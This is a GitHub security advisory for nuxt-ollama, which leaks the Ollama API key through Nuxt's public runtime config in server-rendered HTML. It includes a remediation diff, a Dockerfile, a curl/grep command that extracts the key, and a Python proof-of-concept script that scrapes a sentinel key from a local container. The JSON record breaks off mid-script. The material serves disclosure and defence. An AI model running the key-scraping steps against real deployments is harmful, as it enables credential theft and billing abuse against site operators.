GHSA-FXG7-897C-57MP
Vulnerability from github – Published: 2026-09-09 23:47 – Updated: 2026-09-09 23:47Public Runtime Config Exposes Ollama API Key to Browser Clients
Summary
nuxt-ollama@1.2.26 unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.
Details
The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:
// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)
Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:
<script>
window.__NUXT__={};
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser
}
}
}
</script>
The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:
// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })
The complete data flow from source to sink:
README.md:71-80— official documentation instructs users to setollama.api_keyfor cloud Ollama modelssrc/module.ts:35-36— source:api_keyis merged intoruntimeConfig.public.ollama- Nuxt SSR runtime —
runtimeConfig.publicis serialized into HTML__NUXT__payload src/runtime/composables/useOllama.ts:6— browser composable readsuseRuntimeConfig().public.ollamasrc/runtime/composables/useOllama.ts:8-10— sink:options.api_keybecomesheaders.Authorizationin client-side HTTP request
The api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.
Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:
- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
- runtimeConfig.public.ollama = defu(currentConfig, _options)
+ const { api_key, ...publicOptions } = _options
+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })
The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.
PoC
Prerequisites: Docker, Python 3
Step 1 — Build the vulnerable Nuxt app container
docker build \
-f /path/to/vuln-001/Dockerfile \
-t nuxt-ollama-vuln-001 \
/path/to/npmAI_735_thoda-dev__nuxt-ollama
The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123' // sentinel key
}
})
Step 2 — Start the container
docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001
Step 3 — Retrieve the API key with a single unauthenticated HTTP request
curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Expected: api_key":"LEAKED_TEST_KEY_123"
Automated PoC script
python3 /path/to/vuln-001/poc.py
Expected output (confirmed in dynamic reproduction):
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123"
}
}
}
The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.
Impact
This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.
Who is impacted:
- Operators/developers who follow the official documentation to configure
ollama.api_keyfor cloud Ollama models. They are unaware that the key is being published to every visitor. - End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.
Potential consequences of key theft:
- Unauthorized use of the Ollama cloud API at the operator's cost
- Rate-limit exhaustion or quota abuse
- Data exfiltration if the compromised key has read access to stored models or conversations
- Reputational damage and service disruption for the affected application
The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.
Reproduction artifacts
Dockerfile
# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
# src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)
# This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes
# into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).
# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.
FROM node:20-alpine
# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
RUN npm install -g pnpm@10.33.4
WORKDIR /app
# Copy the nuxt-ollama source repository
COPY repo/ ./
# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile
# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123'
}
})
EOF
# Replace app.vue with a minimal template that does NOT make Ollama API calls.
# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.
# The original playground app.vue calls useFetch('/api/ollama') which requires
# a live Ollama server; replacing it keeps this PoC self-contained.
RUN cat > playground/app.vue << 'EOF'
<template>
<div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div>
</template>
EOF
# Build the playground in production SSR mode.
# During the module setup() call, src/module.ts:36 merges all _options (including
# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes
# runtimeConfig.public into the HTML response for client-side hydration.
RUN pnpm exec nuxi build playground
EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO_HOST=0.0.0.0
ENV NITRO_PORT=3000
CMD ["node", "/app/playground/.output/server/index.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Title : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE : CWE-522 - Insufficiently Protected Credentials
CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack summary
--------------
When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80
for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
entire _options object—api_key included—into runtimeConfig.public.ollama.
Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
embeds it in the HTML response inside a <script> payload block (__NUXT__ /
__NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore
returns the api_key in plain text, with no authentication required.
This script:
1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.
2. Starts the image as a local container.
3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
4. Prints an evidence excerpt and writes phase2_result.json.
"""
import json
import os
import subprocess
import sys
import time
import urllib.request
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET_KEY = "LEAKED_TEST_KEY_123"
IMAGE_NAME = "nuxt-ollama-vuln-001"
CONTAINER_NAME = "nuxt-ollama-poc-001"
HOST = "127.0.0.1"
PORT = 3000
URL = f"http://{HOST}:{PORT}/"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/)
DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile")
RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json")
BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}"
RUN_CMD = (
f"docker run -d --name {CONTAINER_NAME} "
f"-p {PORT}:{PORT} {IMAGE_NAME}"
)
POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}"
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def run_cmd(cmd_list, check=True, capture=False):
"""Execute a command, printing it first; return CompletedProcess."""
print(f"[cmd] {' '.join(cmd_list)}", flush=True)
return subprocess.run(
cmd_list,
check=check,
capture_output=capture,
text=bool(capture),
)
def cleanup_container():
"""Remove the PoC container if it already exists."""
subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True)
def wait_for_server(url, timeout=180, interval=5):
"""Poll url until it returns a non-5xx response or the timeout expires."""
print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True)
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=5) as resp:
if resp.status < 500:
print(f"[+] Server up — HTTP {resp.status}", flush=True)
return True
except Exception:
pass
time.sleep(interval)
return False
def save_result(data):
"""Write phase2_result.json and echo its path."""
with open(RESULT_FILE, "w", encoding="utf-8") as fh:
json.dump(data, fh, ensure_ascii=False, indent=2)
print(f"\n[*] Result saved to {RESULT_FILE}", flush=True)
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
print("=" * 66)
print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
print("=" * 66, flush=True)
cleanup_container()
# ------------------------------------------------------------------
# Step 1 — Build Docker image
# ------------------------------------------------------------------
print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
build_rc = run_cmd(
["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR],
check=False,
).returncode
if build_rc != 0:
save_result({
"passed": False,
"verdict": "FAIL",
"reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": f"docker build exited with returncode={build_rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
print("[+] Image built successfully.", flush=True)
# ------------------------------------------------------------------
# Step 2 — Start the container
# ------------------------------------------------------------------
print("\n[STEP 2] Starting container ...", flush=True)
run_rc = run_cmd(
["docker", "run", "-d",
"--name", CONTAINER_NAME,
"-p", f"{PORT}:{PORT}",
IMAGE_NAME],
check=False,
).returncode
if run_rc != 0:
save_result({
"passed": False,
"verdict": "FAIL",
"reason": "Docker 컨테이너 실행 실패.",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": f"docker run exited with returncode={run_rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
# ------------------------------------------------------------------
# Step 3 — Wait for Nuxt SSR server
# ------------------------------------------------------------------
print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
if not wait_for_server(URL, timeout=180):
logs = subprocess.run(
["docker", "logs", CONTAINER_NAME],
capture_output=True, text=True,
)
log_snippet = (logs.stdout + logs.stderr)[-2000:]
print("[!] Server did not respond within timeout. Container logs:\n", log_snippet)
save_result({
"passed": False,
"verdict": "INCOMPLETE",
"reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": log_snippet,
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
# ------------------------------------------------------------------
# Step 4 — Fetch the rendered HTML page
# ------------------------------------------------------------------
print(f"\n[STEP 4] GET {URL} ...", flush=True)
try:
with urllib.request.urlopen(URL, timeout=15) as resp:
html = resp.read().decode("utf-8", errors="replace")
except Exception as exc:
save_result({
"passed": False,
"verdict": "FAIL",
"reason": f"HTTP 요청 실패: {exc}",
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": str(exc),
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
print(f"[+] Received {len(html)} bytes.", flush=True)
# ------------------------------------------------------------------
# Step 5 — Verify TARGET_KEY is present in the HTTP response body
# ------------------------------------------------------------------
print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True)
if TARGET_KEY in html:
idx = html.index(TARGET_KEY)
start = max(0, idx - 200)
end = min(len(html), idx + len(TARGET_KEY) + 200)
excerpt = html[start:end].strip()
print(f"\n{'='*66}")
print(f"[PASS] VULNERABILITY CONFIRMED")
print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.")
print(f"{'='*66}")
print(f"Evidence excerpt:\n\n{excerpt}\n")
print(f"{'='*66}")
save_result({
"passed": True,
"verdict": "PASS",
"reason": (
"nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 "
"runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
"__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
"LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": excerpt,
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(0)
else:
snippet = html[:3000]
print(f"[FAIL] '{TARGET_KEY}' NOT found in the HTTP response body.")
print("--- HTML (first 3000 chars) ---")
print(snippet)
save_result({
"passed": False,
"verdict": "FAIL",
"reason": (
f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
"Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": snippet[:1500],
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup_container()
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt-ollama"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.26"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59158"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:47:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Public Runtime Config Exposes Ollama API Key to Browser Clients\n\n### Summary\n\n`nuxt-ollama@1.2.26` unconditionally merges all module options \u2014 including `api_key` \u2014 into Nuxt\u0027s **public** runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a `\u003cscript\u003e` payload block (`window.__NUXT__`), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator\u0027s expense.\n\n### Details\n\nThe vulnerability is a design flaw in `src/module.ts`. During Nuxt module setup, the entire `_options` object \u2014 which contains `api_key` when configured for cloud Ollama as documented in `README.md:71-80` \u2014 is merged into the **public** runtime config namespace:\n\n```ts\n// src/module.ts:35-36\nconst currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions\nruntimeConfig.public.ollama = defu(currentConfig, _options)\n```\n\nNuxt\u0027s SSR pipeline serializes `runtimeConfig.public` and embeds it in every server-rendered HTML page for client-side hydration. This results in the `api_key` appearing verbatim in the `window.__NUXT__` script block:\n\n```html\n\u003cscript\u003e\nwindow.__NUXT__={};\nwindow.__NUXT__.config={\n public:{\n ollama:{\n protocol:\"https\",\n host:\"api.ollama.com\",\n port:\"\",\n proxy:false,\n api_key:\"LEAKED_TEST_KEY_123\" // \u2190 secret exposed to browser\n }\n }\n}\n\u003c/script\u003e\n```\n\nThe browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls:\n\n```ts\n// src/runtime/composables/useOllama.ts:6-10\nconst options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions\nif (options.api_key) {\n headers.Authorization = `Bearer ${options.api_key}`\n}\nreturn new Ollama({ host, proxy: options.proxy, headers })\n```\n\nThe complete data flow from source to sink:\n\n1. `README.md:71-80` \u2014 official documentation instructs users to set `ollama.api_key` for cloud Ollama models\n2. `src/module.ts:35-36` \u2014 **source**: `api_key` is merged into `runtimeConfig.public.ollama`\n3. Nuxt SSR runtime \u2014 `runtimeConfig.public` is serialized into HTML `__NUXT__` payload\n4. `src/runtime/composables/useOllama.ts:6` \u2014 browser composable reads `useRuntimeConfig().public.ollama`\n5. `src/runtime/composables/useOllama.ts:8-10` \u2014 **sink**: `options.api_key` becomes `headers.Authorization` in client-side HTTP request\n\nThe `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization.\n\n**Recommended remediation:** Move `api_key` to the private runtime config and remove it from the browser composable:\n\n```diff\n- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions\n- runtimeConfig.public.ollama = defu(currentConfig, _options)\n+ const { api_key, ...publicOptions } = _options\n+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit\u003cOllamaOptions, \u0027api_key\u0027\u003e\n+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)\n+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick\u003cModuleOptions, \u0027api_key\u0027\u003e\n+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })\n```\n\nThe `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`.\n\n### PoC\n\n**Prerequisites:** Docker, Python 3\n\n**Step 1 \u2014 Build the vulnerable Nuxt app container**\n\n```bash\ndocker build \\\n -f /path/to/vuln-001/Dockerfile \\\n -t nuxt-ollama-vuln-001 \\\n /path/to/npmAI_735_thoda-dev__nuxt-ollama\n```\n\nThe Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` \u2014 the exact cloud configuration pattern from `README.md:71-80`:\n\n```ts\nexport default defineNuxtConfig({\n modules: [\u0027../src/module\u0027],\n compatibilityDate: \u00272025-10-29\u0027,\n devtools: { enabled: false },\n ollama: {\n protocol: \u0027https\u0027,\n host: \u0027api.ollama.com\u0027,\n api_key: \u0027LEAKED_TEST_KEY_123\u0027 // sentinel key\n }\n})\n```\n\n**Step 2 \u2014 Start the container**\n\n```bash\ndocker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001\n```\n\n**Step 3 \u2014 Retrieve the API key with a single unauthenticated HTTP request**\n\n```bash\ncurl -s http://127.0.0.1:3000/ | grep -o \u0027api_key\":\"[^\"]*\"\u0027\n# Expected: api_key\":\"LEAKED_TEST_KEY_123\"\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py\n```\n\n**Expected output (confirmed in dynamic reproduction):**\n\n```\nwindow.__NUXT__.config={\n public:{\n ollama:{\n protocol:\"https\",\n host:\"api.ollama.com\",\n port:\"\",\n proxy:false,\n api_key:\"LEAKED_TEST_KEY_123\"\n }\n }\n}\n```\n\nThe sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.\n\n### Impact\n\nThis is a **credentials exposure** vulnerability (CWE-522). Any unauthenticated party \u2014 including passive network observers, web crawlers, or anonymous visitors \u2014 who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload.\n\n**Who is impacted:**\n\n- **Operators/developers** who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor.\n- **End-users** of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.\n\n**Potential consequences of key theft:**\n\n- Unauthorized use of the Ollama cloud API at the operator\u0027s cost\n- Rate-limit exhaustion or quota abuse\n- Data exfiltration if the compromised key has read access to stored models or conversations\n- Reputational damage and service disruption for the affected application\n\nThe vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n# VULN-001 PoC: nuxt-ollama@1.2.26 \u2014 Public Runtime Config Exposes Ollama API Key\n# CWE-522: Insufficiently Protected Credentials\n# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)\n#\n# Vulnerability mechanism:\n# src/module.ts:36 \u2014 runtimeConfig.public.ollama = defu(currentConfig, _options)\n# This places api_key into Nuxt\u0027s PUBLIC runtime config, which Nuxt serializes\n# into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).\n# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.\n\nFROM node:20-alpine\n\n# Install pnpm matching the repo\u0027s packageManager field (pnpm@10.33.4)\nRUN npm install -g pnpm@10.33.4\n\nWORKDIR /app\n\n# Copy the nuxt-ollama source repository\nCOPY repo/ ./\n\n# Install all project dependencies.\n# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false\nRUN pnpm install --frozen-lockfile\n\n# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate\n# a real-world cloud Ollama deployment as documented in README.md:71-80.\n# This is the exact vulnerable configuration pattern described in the docs.\nRUN cat \u003e playground/nuxt.config.ts \u003c\u003c \u0027EOF\u0027\nexport default defineNuxtConfig({\n modules: [\u0027../src/module\u0027],\n compatibilityDate: \u00272025-10-29\u0027,\n devtools: { enabled: false },\n ollama: {\n protocol: \u0027https\u0027,\n host: \u0027api.ollama.com\u0027,\n api_key: \u0027LEAKED_TEST_KEY_123\u0027\n }\n})\nEOF\n\n# Replace app.vue with a minimal template that does NOT make Ollama API calls.\n# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.\n# The original playground app.vue calls useFetch(\u0027/api/ollama\u0027) which requires\n# a live Ollama server; replacing it keeps this PoC self-contained.\nRUN cat \u003e playground/app.vue \u003c\u003c \u0027EOF\u0027\n\u003ctemplate\u003e\n \u003cdiv\u003enuxt-ollama VULN-001 PoC \u2014 check Nuxt SSR payload for api_key\u003c/div\u003e\n\u003c/template\u003e\nEOF\n\n# Build the playground in production SSR mode.\n# During the module setup() call, src/module.ts:36 merges all _options (including\n# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes\n# runtimeConfig.public into the HTML response for client-side hydration.\nRUN pnpm exec nuxi build playground\n\nEXPOSE 3000\nENV HOST=0.0.0.0\nENV PORT=3000\nENV NITRO_HOST=0.0.0.0\nENV NITRO_PORT=3000\n\nCMD [\"node\", \"/app/playground/.output/server/index.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept\nPackage : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)\nTitle : Public Runtime Config Exposes Ollama API Key to Browser Clients\nCWE : CWE-522 - Insufficiently Protected Credentials\nCVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\nAttack summary\n--------------\nWhen a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80\nfor cloud Ollama), the module\u0027s setup() function in src/module.ts:36 merges the\nentire _options object\u2014api_key included\u2014into runtimeConfig.public.ollama.\n\nNuxt\u0027s SSR pipeline serialises runtimeConfig.public for client-side hydration and\nembeds it in the HTML response inside a \u003cscript\u003e payload block (__NUXT__ /\n__NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore\nreturns the api_key in plain text, with no authentication required.\n\nThis script:\n 1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.\n 2. Starts the image as a local container.\n 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.\n 4. Prints an evidence excerpt and writes phase2_result.json.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nTARGET_KEY = \"LEAKED_TEST_KEY_123\"\nIMAGE_NAME = \"nuxt-ollama-vuln-001\"\nCONTAINER_NAME = \"nuxt-ollama-poc-001\"\nHOST = \"127.0.0.1\"\nPORT = 3000\nURL = f\"http://{HOST}:{PORT}/\"\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/)\nDOCKERFILE = os.path.join(SCRIPT_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n\nBUILD_CMD = f\"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}\"\nRUN_CMD = (\n f\"docker run -d --name {CONTAINER_NAME} \"\n f\"-p {PORT}:{PORT} {IMAGE_NAME}\"\n)\nPOC_CMD = f\"python3 {os.path.join(SCRIPT_DIR, \u0027poc.py\u0027)}\"\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef run_cmd(cmd_list, check=True, capture=False):\n \"\"\"Execute a command, printing it first; return CompletedProcess.\"\"\"\n print(f\"[cmd] {\u0027 \u0027.join(cmd_list)}\", flush=True)\n return subprocess.run(\n cmd_list,\n check=check,\n capture_output=capture,\n text=bool(capture),\n )\n\n\ndef cleanup_container():\n \"\"\"Remove the PoC container if it already exists.\"\"\"\n subprocess.run([\"docker\", \"rm\", \"-f\", CONTAINER_NAME], capture_output=True)\n\n\ndef wait_for_server(url, timeout=180, interval=5):\n \"\"\"Poll url until it returns a non-5xx response or the timeout expires.\"\"\"\n print(f\"[*] Waiting for server at {url} (timeout={timeout}s)\", flush=True)\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(url, timeout=5) as resp:\n if resp.status \u003c 500:\n print(f\"[+] Server up \u2014 HTTP {resp.status}\", flush=True)\n return True\n except Exception:\n pass\n time.sleep(interval)\n return False\n\n\ndef save_result(data):\n \"\"\"Write phase2_result.json and echo its path.\"\"\"\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n json.dump(data, fh, ensure_ascii=False, indent=2)\n print(f\"\\n[*] Result saved to {RESULT_FILE}\", flush=True)\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main():\n print(\"=\" * 66)\n print(\"VULN-001 PoC \u2014 nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload\")\n print(\"=\" * 66, flush=True)\n\n cleanup_container()\n\n # ------------------------------------------------------------------\n # Step 1 \u2014 Build Docker image\n # ------------------------------------------------------------------\n print(\"\\n[STEP 1] Building Docker image (may take several minutes) ...\", flush=True)\n build_rc = run_cmd(\n [\"docker\", \"build\", \"-f\", DOCKERFILE, \"-t\", IMAGE_NAME, PARENT_DIR],\n check=False,\n ).returncode\n\n if build_rc != 0:\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker \uc774\ubbf8\uc9c0 \ube4c\ub4dc \uc2e4\ud328. docker build \ub85c\uadf8\ub97c \ud655\uc778\ud558\uc138\uc694.\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": f\"docker build exited with returncode={build_rc}\",\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n sys.exit(1)\n\n print(\"[+] Image built successfully.\", flush=True)\n\n # ------------------------------------------------------------------\n # Step 2 \u2014 Start the container\n # ------------------------------------------------------------------\n print(\"\\n[STEP 2] Starting container ...\", flush=True)\n run_rc = run_cmd(\n [\"docker\", \"run\", \"-d\",\n \"--name\", CONTAINER_NAME,\n \"-p\", f\"{PORT}:{PORT}\",\n IMAGE_NAME],\n check=False,\n ).returncode\n\n if run_rc != 0:\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker \ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uc2e4\ud328.\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": f\"docker run exited with returncode={run_rc}\",\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n sys.exit(1)\n\n # ------------------------------------------------------------------\n # Step 3 \u2014 Wait for Nuxt SSR server\n # ------------------------------------------------------------------\n print(\"\\n[STEP 3] Waiting for Nuxt SSR server ...\", flush=True)\n if not wait_for_server(URL, timeout=180):\n logs = subprocess.run(\n [\"docker\", \"logs\", CONTAINER_NAME],\n capture_output=True, text=True,\n )\n log_snippet = (logs.stdout + logs.stderr)[-2000:]\n print(\"[!] Server did not respond within timeout. Container logs:\\n\", log_snippet)\n save_result({\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n 